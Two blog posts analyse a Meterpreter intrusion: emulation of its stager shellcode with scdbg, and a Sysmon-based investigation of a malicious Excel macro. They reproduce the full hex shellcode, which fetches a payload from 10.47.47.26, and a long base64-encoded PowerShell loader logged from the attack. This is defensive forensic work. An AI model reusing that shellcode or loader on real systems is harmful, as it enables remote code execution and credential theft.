Saturday, July 25, 2020

Analyzing an Instance of Meterpreter's Shellcode

In my previous post on detecting and investigating Meterpreter's Migrate functionality, I went down a rabbit hole on the initial PowerShell attack spawned by and Excel macro. In that payload was a bit of shellcode and I mentioned that I'd like to return to it at some point in the future for further analysis. I do not consider myself a reverse engineer, though I have dabbled over the years.

What follows then is an amateur's ambling. If you are reading this and have insights you'd like to share, I'd love to receive them via the comments here, an @ mention or DM on Twitter.

Our shellcode from the previous post looked like this:

e8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a0353536a50e8840000002f384b68383900506857899fc6ffd589c653680002608453535357535668eb552e3bffd5966a0a5f5353535356682d06187bffd585c0751668881300006844f035e0ffd54f75e168f0b5a256ffd56a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cd8b0701c385c075e558c35fe87dffffff31302e34372e34372e323600


Unsure how to proceed with analyzing this, I did a little searching online for things like "analyzing shellcode," "shellcode analysis," "shellcode reversing," etc. There are hundreds of thousands of hits, so no shortage of sites to go chase down.

Here's where I landed. I had a Flare VM from a CTF I'd worked on some time back and I saw that it had recently been updated for the release of capa from Fireeye's Flare team. I knew various posts about shellcode analysis referenced tools that are in the Flare VM, like scdbg, so I decided I'd spin up my old Flare VM and give it a go.

Suffice to say, updating my Flare VM to the latest wasn't straightforward. There were some breaking changes in the upgrade, so I scrapped it and started over with a fresh Win10 system.

Based on what I'd read elsewhere, my first inclination was to try scdbg.exe, which is packaged as part of Flare VM.

PS> scdbg.exe -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )

Stepcount 2000001

This was immediately insightful. I now knew that the string of bytes imported functions from the wininet.dll referenced in the previous post. I could see the IP address and port that it was reaching out to; also seen in the Sysmon logs in the previous post.

Having read this post from Didier Stevens, Another Quickie: Using scdbg to analyze shellcode, I recognized that there may be more to this shellcode than what was shown above as scdbg only emulates 2 million instructions by default. So, I increased the step count as shown below:

PS> scdbg.exe -s 3000000 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 3000000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

Stepcount 3000001

How many steps are enough? I would guess it depends on the shellcode. In my experimentation with this sample, I didn't appear to glean additional information by increasing the step count beyond this. YMMV.

Other options can be passed to scdbg and you should run it without passing it any arguments to see what the possibilities are. One can increase verbosity by passing -v and increase it more with -vv through -vvvv. A single -v will display disassembly:

PS> scdbg.exe -v -s 20 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 20
Using base offset: 0x401000
Verbosity: 1

401000   E882000000                      call 0x401087           step: 0
401087   5D                              pop ebp
401088   686E657400                      push dword 0x74656e
40108d   6877696E69                      push dword 0x696e6977
401092   54                              push esp
401093   684C772607                      push dword 0x726774c            step: 5
401098   FFD5                            call ebp
401005   60                              pusha
401006   89E5                            mov ebp,esp
401008   31C0                            xor eax,eax
40100a   648B5030                        mov edx,fs:[eax+0x30]           step: 10
40100e   8B520C                          mov edx,[edx+0xc]
401011   8B5214                          mov edx,[edx+0x14]
401014   8B7228                          mov esi,[edx+0x28]
401017   0FB74A26                        movzx ecx,[edx+0x26]
40101b   31FF                            xor edi,edi             step: 15
40101d   AC                              lodsb
40101e   3C61                            cmp al,0x61
401020   7C02                            jl 0x401024  vv
401022   2C20                            sub al,0x20
401024   C1CF0D                          ror edi,0xd             step: 20

Stepcount 21

Increasing the verbosity with -vv gives register values:
PS> scdbg.exe -vv -s 8 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 8
Using base offset: 0x401000
Verbosity: 2

401000   E882000000                      call 0x401087           step: 0  foffset: 0
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=12fff0    esi=0         edi=0          EFL 0

401087   5D                              pop ebp                 step: 1  foffset: 87
eax=0         ecx=0         edx=0         ebx=0
esp=12fdfc    ebp=12fff0    esi=0         edi=0          EFL 0

401088   686E657400                      push dword 0x74656e             step: 2  foffset: 88
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=401005    esi=0         edi=0          EFL 0

40108d   6877696E69                      push dword 0x696e6977           step: 3  foffset: 8d
eax=0         ecx=0         edx=0         ebx=0
esp=12fdfc    ebp=401005    esi=0         edi=0          EFL 0

401092   54                              push esp                step: 4  foffset: 92
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf8    ebp=401005    esi=0         edi=0          EFL 0

401093   684C772607                      push dword 0x726774c            step: 5  foffset: 93
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf4    ebp=401005    esi=0         edi=0          EFL 0

401098   FFD5                            call ebp                step: 6  foffset: 98
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf0    ebp=401005    esi=0         edi=0          EFL 0

401005   60                              pusha           step: 7  foffset: 5
eax=0         ecx=0         edx=0         ebx=0
esp=12fdec    ebp=401005    esi=0         edi=0          EFL 0

401006   89E5                            mov ebp,esp             step: 8  foffset: 6
eax=0         ecx=0         edx=0         ebx=0
esp=12fdcc    ebp=401005    esi=0         edi=0          EFL 0


Stepcount 9

Stepping up the verbosity again switches to an interactive mode where you're given the option to step through and select any of the options from this debug menu between instructions:

dbg>
        ? - help, this help screen, h also works
        v - change verbosity (0-4)
        g - go - continue with v=0
        s - step, continues execution, ENTER also works
        c - reset step counter
        r - execute till return (v=0 recommended)
        u - unassembled x instructions at address (default eip)
        b - sets next free breakpoint (10 max)
        m - reset max step count (-1 = infinate)
        e - set eip (file offset or VA)
        w - dWord dump,(32bit ints) prompted for hex base addr and then size
        d - Dump Memory (hex dump) prompted for hex base addr and then size
        x - execute x steps (use with reset step count)
        t - set time delay (ms) for verbosity level 1/2
        k - show stack
        i - break at instruction (scans disasm for next string match)
        f - dereF registers (show any common api addresses in regs)
        j - show log of last 10 instructions executed
        o - step over
        ; - Set comment in IDA if .idasync active
        +/- - basic calculator to add or subtract 2 hex values
        .bl - list set breakpoints
        .bc - clear breakpoint
        .api - scan memory for api table
        .nop - nops out instruction at address (default eip)
        .seh - shows current value at fs[0]
        .segs - show values of segment registers
        .skip - skips current instruction and goes to next
        .reg - manually set register value
        .dllmap - show dll map
        .poke1 - write a single byte to memory
        .poke4 - write a 4 byte value to memory
        .lookup - get symbol for address
        .symbol - get address for symbol (special: peb,dllmap,fs0)
        .savemem - saves a memdump of specified range to file
        .idasync - connect IDASrvr plugin and sync view at step or break.
        .allocs - list memory allocations made
        q - quit

There's also a -r option that will present a summary report at the end of the run. So the output becomes something like the following:

PS> scdbg.exe -r -s 2550000 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Initialization Complete..
Max Steps: 2550000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

Stepcount 2550001

Analysis report:
        Reads of Dll memory detected            (use -mdll for details)
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x40100a
        peb.InMemoryOrderModuleList accessed at 0x401011

In the Analysis report output were some things I dug into further. scdbg reports "Reads of Dll memory detected" followed by a nudge to use -mdll for details. Let's try that:

PS> scdbg.exe -r -s 444650 -mdll -f shellcode.bin -nc
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Memory monitor for dlls enabled..
Initialization Complete..
Max Steps: 444650
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
40104e  mdll msvcrt>    lodsb    77c5cd2f                       READ
40104e  mdll msvcrt>    lodsb    77c5cd30                       READ
40104e  mdll msvcrt>    lodsb    77c5cd31                       READ
40104e  mdll msvcrt>    lodsb    77c5cd32                       READ
40104e  mdll msvcrt>    lodsb    77c5cd33                       READ
40104e  mdll msvcrt>    lodsb    77c5cd34                       READ
40104e  mdll msvcrt>    lodsb    77c5cd35                       READ
40104e  mdll msvcrt>    lodsb    77c5cd27                       READ
40104e  mdll msvcrt>    lodsb    77c5cd28                       READ
40104e  mdll msvcrt>    lodsb    77c5cd29                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2a                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2b                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2c                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2d                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2e                       READ
40104e  mdll msvcrt>    lodsb    77c5cd20                       READ
40104e  mdll msvcrt>    lodsb    77c5cd21                       READ
40104e  mdll msvcrt>    lodsb    77c5cd22                       READ

Stepcount 444651

Analysis report:
        Reads of Dll memory detected            (use -mdll for details)
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x40100a
        peb.InMemoryOrderModuleList accessed at 0x401011

Above we can see bytes are being read from sequential memory addresses. scdbg tells us this is a dll, specifically the Microsoft Visual C Run Time library. 

In the Analysis report and Memory Monitor Log sections of the output, we also see mentions of the shellocde using the PEB (Process Environment Block), specifically the InMemoryOrderModuleList. I wasn't certain what this was about, but assumed it had something to do with the shellcode attempting to locate specific functions in some loaded module. This was confirmed by an old post from Stephen Fewer of Harmony Security back in June of 2009. I'm grateful for archive.org. (Gratitude is great, but generosity is better. Donate to archive.org)

Given the info in Fewer's post, I wondered if I could run scdbg with the right arguments to see the code referencing the InMemoryOrderModuleList. Turns out, yes. The first one happens around step 10 and it happens six more times in the first 2.6 millions steps:

PS> scdbg.exe -v -s 2550000 -f shellcode.bin | select-string 'fs:\[' -Context 2,2

  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]                 step: 10
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]                 step: 178605
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 718215
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 1262515
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]             step: 1809940
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 2357005
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 2506045
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]

What have we learned?

Probably the most important pieces of information were gleaned in the early goings. This scdbg command tells us the API calls made during the first 5+ million steps.

PS> scdbg.exe -s 54465000 -api -f .\shellcode.bin -nc
Loaded 296 bytes from file .\shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 54465000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000
40112b  InternetReadFile(4893, buf: 600000, size: 2000)

Combined with what we sorted out in the previous post, this paints a more complete picture. The calls above were in the shellcode. So we can say the shellcode opened a network connection to 10.47.47.26 via port 80, and this is consistent with what we say in the Sysmon logs. We didn't see the path, so we have a bit of new information, the request hit whatever resource was hosted at /8Kh89. Maybe that resource served up the payload that injected metsrv.dll and the other injected dlls. We've learned more, but there are still some unanswered questions. Maybe we'll revisit those in a future post.






Tuesday, July 21, 2020

Meterpreter's Migrate: Detection and Investigation with memtriage and memdumppe

If you're fortunate enough to be running a modern endpoint detection and response (EDR) product or even endpoint protection (EPP), you may be in good shape for detecting or blocking things like Metasploit's Meterpreter payload. Meterpreter's capabilities have been emulated by other frameworks and malware. While there are more sophisticated attack tools available, testing detections and investigating Meterpreter is still a valuable exercise.

In this post, we'll take a look at a typical scenario involving a malicious Excel macro created using TrustedSec's Unicorn that spawns a Meterpreter reverse shell that connects back to a listener on an endpoint running Metasploit. We'll review some of the data that Sysmon captures using a popular Sysmon configuration from Internet infosec celeb SwiftOnSecurity.

After seeing what Sysmon captures, we'll grab gleeda's memtriage to take a deeper look. If you're not familiar with memtriage, you really should check it out as it enables investigators to run more than two dozen Volatility plugins against an endpoint while it is up and running. Years ago I was working in an environment with hundreds of thousands of servers strewn across data centers worldwide often with 192GB of RAM. Imagine trying to take a memory dump from one of those systems to run an investigation to ground. Having something like memtriage would have made investigations easier.

Let's play: Sysmon Says

Our unsuspecting user has opened an Excel spreadsheet containing a malicious macro as outlined above. Unbeknownst to the user, this has caused a reverse shell to call back to a listener on a remote system where the attacker used Meterpreter's priv extension to call getsystem, elevating the attacker's privileges to SYSTEM on the victim machine, which then enable's the attacker to migrate their malicious agent into to a legitimate process on the machine -- spoolsv.exe -- using code that's been around for at least a decade. Following the migration to spoolsv.exe, the attacker ran hashdump.

Here's some of what Sysmon logged:

Log Name:      Microsoft-Windows-Sysmon/Operational

Source:        Microsoft-Windows-Sysmon

Date:          7/19/2020 8:03:07 PM

Event ID:      1

Task Category: Process Create (rule: ProcessCreate)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Process Create:

RuleName: -

UtcTime: 2020-07-19 20:03:07.410

ProcessGuid: {fc3f293c-a6fb-5f14-437f-430000000000}

ProcessId: 2476

Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

FileVersion: 16.0.11929.20838

Description: Microsoft Excel

Product: Microsoft Office

Company: Microsoft Corporation

OriginalFileName: Excel.exe

CommandLine: "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" 

CurrentDirectory: C:\Windows\system32\

User: 1011LABS\dave.hull

LogonGuid: {fc3f293c-4e60-5f14-ee7e-3b0000000000}

LogonId: 0x3B7EEE

TerminalSessionId: 1

IntegrityLevel: High

Hashes: MD5=B0560334F0AFC1EEB1C1F67FD27ED79E,SHA256=477D98352D14E8A65C79A4A68112EBB92E03358708E7B04E9411831A2F0EA5E8,IMPHASH=9AE6B99DE4CEC4B19FFAFF4B2AA4C4E4

ParentProcessGuid: {fc3f293c-4e61-5f14-3d9a-3b0000000000}

ParentProcessId: 2344

ParentImage: C:\Windows\explorer.exe

ParentCommandLine: C:\Windows\Explorer.EXE


Above Sysmon has logged an Event Id 1 or process creation event, for the Excel process. We get the creation time, hostname, user context, parent process Id and name and GUIDs for this process and its parent. These globally unique identifiers are created by Sysmon to make tracking parent and child process relationships easier as process Ids alone can make this difficult due to the reuse of process Ids. There's some other useful thing, hashes of the process and the imphash or the hash of the process' import table.

So far, nothing unusual to see here. Next up, things take a turn.

A PowerShell Excursion:

Log Name:      Microsoft-Windows-Sysmon/Operational

Source:        Microsoft-Windows-Sysmon

Date:          7/19/2020 8:03:34 PM

Event ID:      1

Task Category: Process Create (rule: ProcessCreate)

Level:         Information

Keywords:      

User:          SYSTEM

Computer:      wins2012r202.1011Labs.com

Description:

Process Create:

RuleName: -

UtcTime: 2020-07-19 20:03:34.614

ProcessGuid: {fc3f293c-a716-5f14-06ce-430000000000}

ProcessId: 1604

Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

FileVersion: 10.0.14409.1005 (rs1_srvoob.161208-1155)

Description: Windows PowerShell

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: PowerShell.EXE

CommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe  /w 1 /C "sv BvI -;sv AT ec;sv Al ((gv BvI).value.toString()+(gv AT).value.toString());powershell (gv Al).value.toString() ('JABpAHMAPQAnACQASwB1AD0AJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACIAbQBzAHYAYwByAHQAIgArACIALgAiACsAIgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAYwBhAGwAbABvAGMAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKwAiAC4AIgArACIAZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACsAIgAuACIAKwAiAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABUAGEAbwApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQAIgArACIALgAiACsAIgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAVABXAD0AIgB9AGUAOAAsAH0AOAAyACwAfQAwADAALAB9ADAAMAAsAH0AMAAwACwAfQA2ADAALAB9ADgAOQAsAH0AZQA1ACwAfQAzADEALAB9AGMAMAAsAH0ANgA0ACwAfQA4AGIALAB9ADUAMAAsAH0AMwAwACwAfQA4AGIALAB9ADUAMgAsAH0AMABjACwAfQA4AGIALAB9ADUAMgAsAH0AMQA0ACwAfQA4AGIALAB9ADcAMgAsAH0AMgA4ACwAfQAwAGYALAB9AGIANwAsAH0ANABhACwAfQAyADYALAB9ADMAMQAsAH0AZgBmACwAfQBhAGMALAB9ADMAYwAsAH0ANgAxACwAfQA3AGMALAB9ADAAMgAsAH0AMgBjACwAfQAyADAALAB9AGMAMQAsAH0AYwBmACwAfQAwAGQALAB9ADAAMQAsAH0AYwA3ACwAfQBlADIALAB9AGYAMgAsAH0ANQAyACwAfQA1ADcALAB9ADgAYgAsAH0ANQAyACwAfQAxADAALAB9ADgAYgAsAH0ANABhACwAfQAzAGMALAB9ADgAYgAsAH0ANABjACwAfQAxADEALAB9ADcAOAAsAH0AZQAzACwAfQA0ADgALAB9ADAAMQAsAH0AZAAxACwAfQA1ADEALAB9ADgAYgAsAH0ANQA5ACwAfQAyADAALAB9ADAAMQAsAH0AZAAzACwAfQA4AGIALAB9ADQAOQAsAH0AMQA4ACwAfQBlADMALAB9ADMAYQAsAH0ANAA5ACwAfQA4AGIALAB9ADMANAAsAH0AOABiACwAfQAwADEALAB9AGQANgAsAH0AMwAxACwAfQBmAGYALAB9AGEAYwAsAH0AYwAxACwAfQBjAGYALAB9ADAAZAAsAH0AMAAxACwAfQBjADcALAB9ADMAOAAsAH0AZQAwACwAfQA3ADUALAB9AGYANgAsAH0AMAAzACwAfQA3AGQALAB9AGYAOAAsAH0AMwBiACwAfQA3AGQALAB9ADIANAAsAH0ANwA1ACwAfQBlADQALAB9ADUAOAAsAH0AOABiACwAfQA1ADgALAB9ADIANAAsAH0AMAAxACwAfQBkADMALAB9ADYANgAsAH0AOABiACwAfQAwAGMALAB9ADQAYgAsAH0AOABiACwAfQA1ADgALAB9ADEAYwAsAH0AMAAxACwAfQBkADMALAB9ADgAYgAsAH0AMAA0ACwAfQA4AGIALAB9ADAAMQAsAH0AZAAwACwAfQA4ADkALAB9ADQANAAsAH0AMgA0ACwAfQAyADQALAB9ADUAYgAsAH0ANQBiACwAfQA2ADEALAB9ADUAOQAsAH0ANQBhACwAfQA1ADEALAB9AGYAZgAsAH0AZQAwACwAfQA1AGYALAB9ADUAZgAsAH0ANQBhACwAfQA4AGIALAB9ADEAMgAsAH0AZQBiACwAfQA4AGQALAB9ADUAZAAsAH0ANgA4ACwAfQA2AGUALAB9ADYANQAsAH0ANwA0ACwAfQAwADAALAB9ADYAOAAsAH0ANwA3ACwAfQA2ADkALAB9ADYAZQAsAH0ANgA5ACwAfQA1ADQALAB9ADYAOAAsAH0ANABjACwAfQA3ADcALAB9ADIANgAsAH0AMAA3ACwAfQBmAGYALAB9AGQANQAsAH0AMwAxACwAfQBkAGIALAB9ADUAMwAsAH0ANQAzACwAfQA1ADMALAB9ADUAMwAsAH0ANQAzACwAfQA2ADgALAB9ADMAYQAsAH0ANQA2ACwAfQA3ADkALAB9AGEANwAsAH0AZgBmACwAfQBkADUALAB9ADUAMwAsAH0ANQAzACwAfQA2AGEALAB9ADAAMwAsAH0ANQAzACwAfQA1ADMALAB9ADYAYQAsAH0ANQAwACwAfQBlADgALAB9ADgANAAsAH0AMAAwACwAfQAwADAALAB9ADAAMAAsAH0AMgBmACwAfQAzADgALAB9ADQAYgAsAH0ANgA4ACwAfQAzADgALAB9ADMAOQAsAH0AMAAwACwAfQA1ADAALAB9ADYAOAAsAH0ANQA3ACwAfQA4ADkALAB9ADkAZgAsAH0AYwA2ACwAfQBmAGYALAB9AGQANQAsAH0AOAA5ACwAfQBjADYALAB9ADUAMwAsAH0ANgA4ACwAfQAwADAALAB9ADAAMgAsAH0ANgAwACwAfQA4ADQALAB9ADUAMwAsAH0ANQAzACwAfQA1ADMALAB9ADUANwAsAH0ANQAzACwAfQA1ADYALAB9ADYAOAAsAH0AZQBiACwAfQA1ADUALAB9ADIAZQAsAH0AMwBiACwAfQBmAGYALAB9AGQANQAsAH0AOQA2ACwAfQA2AGEALAB9ADAAYQAsAH0ANQBmACwAfQA1ADMALAB9ADUAMwAsAH0ANQAzACwAfQA1ADMALAB9ADUANgAsAH0ANgA4ACwAfQAyAGQALAB9ADAANgAsAH0AMQA4ACwAfQA3AGIALAB9AGYAZgAsAH0AZAA1ACwAfQA4ADUALAB9AGMAMAAsAH0ANwA1ACwAfQAxADYALAB9ADYA'+'OAAsAH0AOAA4ACwAfQAxADMALAB9ADAAMAAsAH0AMAAwACwAfQA2ADgALAB9ADQANAAsAH0AZgAwACwAfQAzADUALAB9AGUAMAAsAH0AZgBmACwAfQBkADUALAB9ADQAZgAsAH0ANwA1ACwAfQBlADEALAB9ADYAOAAsAH0AZgAwACwAfQBiADUALAB9AGEAMgAsAH0ANQA2ACwAfQBmAGYALAB9AGQANQAsAH0ANgBhACwAfQA0ADAALAB9ADYAOAAsAH0AMAAwACwAfQAxADAALAB9ADAAMAAsAH0AMAAwACwAfQA2ADgALAB9ADAAMAAsAH0AMAAwACwAfQA0ADAALAB9ADAAMAAsAH0ANQAzACwAfQA2ADgALAB9ADUAOAAsAH0AYQA0ACwAfQA1ADMALAB9AGUANQAsAH0AZgBmACwAfQBkADUALAB9ADkAMwAsAH0ANQAzACwAfQA1ADMALAB9ADgAOQAsAH0AZQA3ACwAfQA1ADcALAB9ADYAOAAsAH0AMAAwACwAfQAyADAALAB9ADAAMAAsAH0AMAAwACwAfQA1ADMALAB9ADUANgAsAH0ANgA4ACwAfQAxADIALAB9ADkANgAsAH0AOAA5ACwAfQBlADIALAB9AGYAZgAsAH0AZAA1ACwAfQA4ADUALAB9AGMAMAAsAH0ANwA0ACwAfQBjAGQALAB9ADgAYgAsAH0AMAA3ACwAfQAwADEALAB9AGMAMwAsAH0AOAA1ACwAfQBjADAALAB9ADcANQAsAH0AZQA1ACwAfQA1ADgALAB9AGMAMwAsAH0ANQBmACwAfQBlADgALAB9ADcAZAAsAH0AZgBmACwAfQBmAGYALAB9AGYAZgAsAH0AMwAxACwAfQAzADAALAB9ADIAZQAsAH0AMwA0ACwAfQAzADcALAB9ADIAZQAsAH0AMwA0ACwAfQAzADcALAB9ADIAZQAsAH0AMwAyACwAfQAzADYALAB9ADAAMAAiADsAJABaAHUAPQBBAGQAZAAtAFQAeQBwAGUAIAAtAHAAYQBzAHMAIAAtAG0AIAAkAEsAdQAgAC0ATgBhAG0AZQAgACIAVQBWACIAIAAtAG4AYQBtAGUAcwAgAHcAWAByADsAJABaAHUAPQAkAFoAdQAuAHIAZQBwAGwAYQBjAGUAKAAiAHcAWAByACIALAAgACIAVwBpACIAKwAiAG4AIgArACIAMwAyAEYAdQBuAGMAdABpAG8AbgBzACIAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAFQAVwAgAD0AIAAkAFQAVwAuAHIAZQBwAGwAYQBjAGUAKAAiAH0AIgAsACIAUQBoAEUAYQB4ACIAKQAuAHIAZQBwAGwAYQBjAGUAKAAiAFEAaABFAGEAIgAsACAAIgAwACIAKQAuAFMAcABsAGkAdAAoACIALAAiACkAOwAkAFIATgA9ADAAeAAxADAAMAA3ADsAaQBmACAAKAAkAFQAVwAuAEwAIAAtAGcAdAAgADAAeAAxADAAMAA3ACkAewAkAFIATgA9ACQAVABXAC4ATAB9ADsAJABkAFYAPQAkAFoAdQA6ADoAYwBhAGwAbABvAGMAKAAwAHgAMQAwADAANwAsACAAMQApADsAWwBVAEkAbgB0ADYANABdACQAVABhAG8AIAA9ACAAMAA7AGYAbwByACgAJAB2AFgAPQAwADsAJAB2AFgAIAAtAGwAZQAoACQAVABXAC4ATABlAG4AZwB0AGgALQAxACkAOwAkAHYAWAArACsAKQB7ACQAWgB1ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAZABWAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAHYAWAApACwAIAAkAFQAVwBbACQAdgBYAF0ALAAgADEAKQB9ADsAJABaAHUAOgA6AFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdAAoACQAZABWACwAIAAwAHgAMQAwADAANwAsACAAMAB4ADQAMAAsACAAWwBSAGUAZgBdACQAVABhAG8AKQA7ACQAWgB1ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwAHgAMAAwACwAJABkAFYALAAwACwAMAAsADAAKQA7ACcAOwAkAHEAegA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAaQBzACkAKQA7ACQAdQBtAD0AIgBwAG8AdwBlAHIAcwBoAGUAbABsACIAOwAkAFAATQA9ACIAVwBpAG4AZABvAHcAcwAiADsAJABrAFgAdAAgAD0AIAAiAEMAOgBcACQAUABNAFwAcwB5AHMAdwBvAHcANgA0AFwAJABQAE0AJAB1AG0AXAB2ADEALgAwAFwAJAB1AG0AIgA7ACQASQB0AFgAIAA9ACAAJwBUAHIAIgArACIAdQAiACsAIgBlACcAOwBpAGYAKABbAGUAbgB2AGkAcgBvAG4